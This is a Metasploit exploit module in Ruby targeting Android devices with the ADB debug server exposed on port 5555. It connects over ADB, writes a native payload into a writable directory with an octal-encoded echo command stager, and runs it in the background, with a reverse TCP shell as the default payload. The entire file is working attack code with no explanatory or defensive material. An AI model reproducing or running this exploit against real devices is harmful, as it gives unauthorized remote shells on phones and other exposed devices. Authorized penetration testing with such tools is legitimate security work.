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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Android ADB Debug Server Remote Payload Execution',
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      'Description'    => %q{
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        Writes and spawns a native payload on an android device that is listening
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        for adb debug messages.
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      },
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      'Author'         => ['joev'],
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      'License'        => MSF_LICENSE,
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      'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
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      'Platform'       => 'linux',
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      'Arch'           => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
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      'Targets'        => [
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        ['armle',  {'Arch' => ARCH_ARMLE}],
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        ['x86',    {'Arch' => ARCH_X86}],
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        ['x64',    {'Arch' => ARCH_X64}],
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        ['mipsle', {'Arch' => ARCH_MIPSLE}]
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      ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2016-01-01'
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    ))
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    register_options([
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      Opt::RPORT(5555),
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      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
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    ])
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  end
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  def check
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    setup_adb_connection do
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      device_info = @adb_client.connect.data
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      print_good "Detected device:\n#{device_info}"
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      return Exploit::CheckCode::Vulnerable
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def execute_command(cmd, opts)
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    response = @adb_client.exec_cmd(cmd)
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    print_good "Command executed, response:\n #{response}"
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  end
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  def exploit
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    setup_adb_connection do
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      device_data = @adb_client.connect
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      print_good "Connected to device:\n#{device_data.data}"
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      execute_cmdstager({
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        flavor: :echo,
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        enc_format: :octal,
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        prefix: '\\\\0',
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        temp: datastore['WritableDir'],
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        linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
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        background: true,
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        nodelete: true
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      })
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    end
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  end
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  def setup_adb_connection(&blk)
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    begin
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      print_status "Connecting to device..."
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      connect
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      @adb_client = Rex::Proto::ADB::Client.new(sock)
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      blk.call
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    ensure
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      disconnect
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    end
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  end
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end
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